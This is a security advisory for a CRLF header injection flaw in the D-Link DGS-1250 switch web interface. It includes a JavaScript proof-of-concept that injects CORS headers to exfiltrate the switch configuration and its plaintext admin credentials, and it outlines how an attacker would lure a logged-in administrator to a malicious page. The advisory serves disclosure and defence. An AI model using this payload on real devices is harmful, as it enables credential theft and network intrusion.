D-Link DGS-1250 Header Injection

Type packetstorm
Reporter Harry Sintonen
Modified 2020-02-21T00:00:00


                                            `D-Link DGS-1250 header injection vulnerability  
The latest version of this advisory is available at:  
D-Link DGS-1250 switch is susceptible to a header injection vulnerability enabling  
attacker to steal the switch configuration.  
D-Link DGS-1250 switch web user interface fails to sanitize certain form parameters  
for malicious input. The attacker is able to inject arbitrary headers to the HTTP  
response, bypassing browser Cross-Origin protection.  
Malicious external JavaScript can exfiltrate the D-Link DGS-1250 switch configuration.  
The configuration includes admin credentials with plain text passwords among other  
confidential information.  
The discovered vulnerability, described in more detail below, enables the attack  
described here in brief.  
1. The attacker creates a malicious JavaScript payload. The payload will have code  
to exploit the vulnerability to exfiltrate the switch configuration (*):  
var xhr = new XMLHttpRequest();  
xhr.open("POST", location.protocol + "//", false);  
xhr.withCredentials = true;  
xhr.send("hidunit_id=1&hidfile_type=2&hidoption_type=0&hidsrc_file=Config1&" +  
"hidfile_name=config.txt%0a" +  
"Access-Control-Allow-Credentials: true%0a" +  
"Access-Control-Allow-Origin: " + window.location.origin);  
if (xhr.status === 200) {  
// send xhr.responseText to the attacker  
2. The attacker adds the JavaScript payload to web site(s) and lures the logged in  
administrator to visit the site, either by mass spamming or by targeted  
3. As soon as the logged in administrator visits the malicious site with the  
JavaScript payload, the full switch configuration is sent to the attacker.  
*) The example payload uses a fixed default IP address. Real world attack could be  
smarter in this regard: it could attempt to determine the client's internal IP  
address by leveraging WebRTC. Once the client IP address is identified the attack  
would attempt to fetch an image URL from the web user interface. Successful image  
loading would indicate that the switch is found.  
1. CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers  
`/BinFile/config.cfg' fails to neutralize CRLF sequences in `hidfile_name' parameter.  
Thus it is possible to include additional headers to the HTTP response, such as CORS  
(Cross-Origin Resource Sharing) headers "Access-Control-Allow-Credentials" and  
"Access-Control-Allow-Origin". Successful injection enables a third-party web site  
to receive the POST response (config file).  
For devices without SSL configured:  
For devices with SSL configured:  
The PoC expects the switch to use the default IP address  
Vulnerable versions  
The following D-Link DGS-1250 firmware versions are known to be vulnerable:  
- Build 1.00.040  
- Build 2.01.006  
Older versions are likely vulnerable as well, but were not tested. Other D-Link  
models could be affected as well.  
Impact of the SameSite cookie attribute  
Browsers that implement SafeSite cookie attribute and default it to "Lax" mode  
will automatically mitigate this vulnerability. At least Chrome and Firefox are  
likely to switch to defaulting to Lax mode sometime in 2020.  
Vendor recommendations  
1. Sanitize input that ends up in the HTTP response headers. In particular do not  
allow linefeed characters (ASCII characters 10 and 13) as-is.  
End user mitigation  
1. Use a dedicated browser session to access the web user interface.  
The vulnerability was discovered by Harry Sintonen / F-Secure Consulting.  
2019.12.18 initial discovery of the vulnerability  
2019.12.18 reported the vulnerability to D-Link via Report Vulnerabilities form  
2019.12.19 received vendor acknowledgement  
2020.01.08 requested status update from the vendor contact  
2020.01.10 added section about impact of the SameSite cookie attribute  
2020.02.11 sent a reminder to the vendor contact of the default 60 day dislosure  
2020.02.19 public disclosure